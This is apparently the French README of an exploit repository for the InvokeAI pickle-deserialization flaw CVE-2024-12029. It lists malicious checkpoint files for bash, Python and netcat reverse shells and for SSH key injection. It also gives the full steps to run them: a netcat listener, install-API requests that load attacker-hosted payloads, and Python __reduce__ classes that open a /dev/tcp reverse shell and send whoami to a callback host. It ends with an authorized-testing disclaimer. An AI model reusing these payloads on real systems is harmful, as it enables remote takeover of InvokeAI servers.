Ce dépôt contient des approches alternatives de payload pour la vulnérabilité RCE d'InvokeAI (CVE-2024-12029) lorsque l'injection de clé SSH échoue. Les payloads sont conçus pour tester si la désérialisation pickle se produit réellement et fournir des méthodes d'accès alternatives.
Ce dépôt contient des approches alternatives de payload pour la vulnérabilité RCE d'InvokeAI (CVE-2024-12029) lorsque l'injection de clé SSH échoue. Les payloads sont conçus pour vérifier si la désérialisation pickle se produit réellement et fournir des méthodes d'accès alternatives.
Lorsque les payloads d'injection de clé SSH sont livrés avec succès (statut 201) mais que l'accès SSH nécessite toujours un mot de passe, cela indique soit :
payload_reverse_bash.ckpt (89 octets) - Reverse shell Bashpayload_reverse_python.ckpt (267 octets) - Reverse shell Pythonpayload_reverse_nc.ckpt (70 octets) - Reverse shell Netcatpayload_callback_test.ckpt (115 octets) - Callback HTTP pour vérifier la désérialisationpayload_test.ckpt (90 octets) - Test simple de création de fichierpayload_alt_exec.ckpt (223 octets) - Méthode d'exécution alternativepayload_ssh_simple.ckpt (271 octets) - Injection de clé SSH compatible Linuxkali_reverse_test.py - Suite de tests complètereverse_shell_payload.py - Générer des payloads de reverse shellpython web_server.py --port 8000
# Copy kali_reverse_test.py to Kali and run:
python3 kali_reverse_test.py
# Choose option 1 to test callback
# Start listener on Kali:
nc -lvnp 4444
# Send reverse shell payload:
python3 -c "import requests; requests.post('http://192.168.117.218:9090/api/v2/models/install', params={'source': 'http://192.168.45.168:8000/payload_reverse_bash.ckpt', 'inplace': 'true'}, json={})"
# Test basic command execution:
python3 -c "import requests; requests.post('http://192.168.117.218:9090/api/v2/models/install', params={'source': 'http://192.168.45.168:8000/payload_test.ckpt', 'inplace': 'true'}, json={})"
# Verify file creation:
ssh [email protected] 'cat /tmp/payload_test.txt'
/tmp/payload_test.txt sur la cibleclass CallbackTestPayload:
def __reduce__(self):
import os
command = 'curl "http://192.168.45.168:8000/callback?success=1&user=$(whoami)"'
return (os.system, (command,))
class ReverseShellPayload:
def __reduce__(self):
import os
command = f'bash -c "bash -i >& /dev/tcp/192.168.45.168/4444 0>&1"'
return (os.system, (command,))
class TestPayload:
def __reduce__(self):
import os
return (os.system, ('echo "PAYLOAD_EXECUTED_$(date)" > /tmp/payload_test.txt',))
torch.load()Ce dépôt est destiné uniquement à des fins éducatives et de tests de sécurité autorisés. Les utilisateurs sont responsables de s'assurer qu'ils disposent de l'autorisation appropriée avant de tester tout système.